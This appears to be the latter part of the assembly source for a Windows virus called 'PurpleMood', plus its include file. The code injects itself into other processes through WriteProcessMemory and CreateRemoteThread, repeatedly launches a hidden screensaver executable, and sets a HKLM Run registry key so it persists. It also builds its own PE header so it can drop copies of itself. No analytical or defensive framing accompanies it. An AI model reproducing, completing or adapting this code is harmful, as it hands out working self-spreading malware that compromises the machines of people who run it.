je AP_Exit
xchg eax,ebp

push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax   ;write there our code 
dec eax
jne AP_FreeMem

xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4 
 call eax   ;run remote thread!
 jmp     AP_Exit         ;important,i forgot first  
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax    ;free memory
AP_Exit :        
       popad
       ret
AnalyseProcess EndP              

procz  dd 128 dup (?)
 dd ?
modz  dd ?
mod_name db MAX_PATH dup (?)
tmp  dd ?


rtThreadStart:        
       call     rtStart 
rtStart: 
       pop      ebx
       sub      ebx , offset rtStart        
       call     rtInit
rtWork:        
       call     MakeSCRAlive        
       push     1000*60
       mov      eax , 12345678h
_Sleep           = dword ptr $ - 4
       call     eax
       jmp      short rtWork
       
rtInit:
       @pushsz  'shlwapi.dll'
       mov      eax , 12345678h
_LoadLibraryA    = dword ptr $ - 4
       call     eax        
       @pushsz  'SHSetvalueA'
       push     eax
       mov      eax , 12345678h
_GetProcAddress = dword ptr $ - 4        
       call     eax        
       mov      _SHSetvalueA[ebx],eax   
       ret
            
MakeSCRAlive:
       call   @RT1
nGetProcAddress    db   'GetProcAddress',0
@RT1:   push   FALSE
       push   1
       mov    eax , 12345678h
_OpenMutex     = dword ptr $ - 4
       call   eax
       xchg   esi,eax
       
       .if    esi == NULL
              jmp    RunSCR
       .else
              push   esi
              mov    eax , 12345678h
_ReleaseMutex  = dword  ptr $ - 4
              call   eax
              push   esi
              mov    eax , 12345678h
_CloseHandle   = dword ptr $ - 4
              call   eax
              jmp    RegistSCR
       .endif
                  
RunSCR:
       push   SW_HIDE
       call   @RT2
szFilePath     db   50  dup (0) 
@RT2:   mov    eax , 12345678h
_WinExec       = dword ptr $ - 4      
       call   eax
       
RegistSCR:
       lea      eax,[offset szFilePath+ebx]
       push     12345678h
SCRPathSize     = dword ptr $-4        
   push     eax
push     REG_SZ
       @pushsz  'PurpleMood'
@pushsz  'Software\Microsoft\Windows\CurrentVersion\Run'
push     HKEY_LOCAL_MACHINE
       mov      eax,12345679h
_SHSetvalueA     = dword ptr $-4
       call     eax             ;eax = SHSetvalueA addr
       ret
      
rtThreadEnd:

;*************Virus Data******************************
Signature        db   '????,??????',0
HostEntry          dd   0
hKernel32          dd   0 
szEXEPath          db  MAX_PATH  dup (0)
szFileName         db  '\PurpleMood.scr',0
FNameSize          =   $ - szFileName
wfd                WIN32_FIND_DATA  <> 

;*****************PE Data*****************************
VImports:
                  dd        offset Kernel32_Pointers + @
                  dd        -1,-1
                  dd        offset Kernel32_Name + @
VIAT:     
                  dd        offset Kernel32_Relocated + @
                  db        14 dup (0)
Kernel32_Pointers  dd        offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd        offset Kernel32_Beep + @ , 0
Kernel32_Beep      db        ?,?,'MessageBoxA',0
Kernel32_Name      db        'User32.dll',0
                          
MDosStub:
  db  4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
  db  0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
  db  00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
  db  00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00 
  db  50h,45h,00,00
  
MFileHeader:
 Machine               dw      14Ch
 NumberOfSections      dw      1
 TimeDateStamp         dd      3cbe5cc2h
 PointerToSymbolTable  dd      0
 NumberOfSymbols       dd      0
 SizeOfOptionalHeader  dw      0e0h
 Characteristics       dw      10fh
 
MIMAGE_OPTIONAL_HEADER32:
   Magic                         dw       10bh
   MajorLinkerVersion            db       5
   MinorLinkerVersion            db       12
   SizeOfCode                    dd       VRAW_SIZE
   SizeOfInitializedData         dd       0
   SizeOfUninitializedData       dd       0
   AddressOfEntryPoint           dd       1000h
   BaseOfCode                    dd       1000h
   BaseOfData                    dd       3000h     
   ImageBase                     dd       400000h
   SectionAlignment              dd       1000h
   FileAlignment                 dd       200h
   MajorOperatingSystemVersion   dw       4
   MinorOperatingSystemVersion   dw       0
   MajorImageVersion             dw       0
   MinorImageVersion             dw       0
   MajorSubsystemVersion         dw       4
   MinorSubsystemVersion         dw       0
   Win32Versionvalue             dd       0
   SizeOfImage                   dd       3000h;need to change st
   SizeOfHeaders                 dd       200h
   CheckSum                      dd       0
   Subsystem                     dw       2        ;(Windows GUI)
   DllCharacteristics            dw       0
   SizeOfStackReserve            dd       100000h
   SizeOfStackCommit             dd       1000h
   SizeOfHeapReserve             dd       100000h
   SizeOfHeapCommit              dd       1000h
   LoaderFlags                   dd       0
   NumberOfRvaAndSizes           dd       10h
   DataDirectory                 dd       0,0
                    dd       offset VImports+@,VIMPORT_SIZE
                    dd       14h dup(0)
                    dd       offset VIAT + @,8
                    dd       0,0,0,0,0,0

MIMAGE_SECTION_HEADER:
   Name1                db  '.xjs',0,0,0,0
   VirtualSize          dd  offset VEnd - offset VStart
   VirtualAddress       dd  1000h
   SizeOfRawData        dd  VRAW_SIZE
   PointerToRawData     dd  200h
   PointerToRelocations dd  0
   PointerToLinenumbers dd  0
   NumberOfRelocations  dw  0
   NumberOfLinenumbers  dw  0
   Characteristic       dd  0E0000020h
       
VEnd: 
CODE ends 
end main

-----------------------------------------------------------------------------

useful.inc

include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib 
include \masm32\include\user32.inc 
includelib \masm32\lib\user32.lib 
include \masm32\include\mpr.inc 
includelib \masm32\lib\mpr.lib 

include \masm32\include\wsock32.inc
includelib \masm32\lib\WS2_32.LIB

MIN_KERNEL_SEARCH_BASE    EQU  70000000h
@                         EQU  1000h - offset VStart
VIMPORT_SIZE              EQU  offset MDosStub - offset VImports
VRAW_SIZE                 EQU  1024*7   ;=7k ? :(
FILE_HTM                  EQU  0
FILE_EXE                  EQU  1
FILE_ALL                  EQU  2

SIZEOF_VIRUS_FILE   = 1024*7 + 512 ;FileHeader=512=200h

@pushsz MACRO  str
LOCAL next
call  next
db    str,0
next:
ENDM 

  
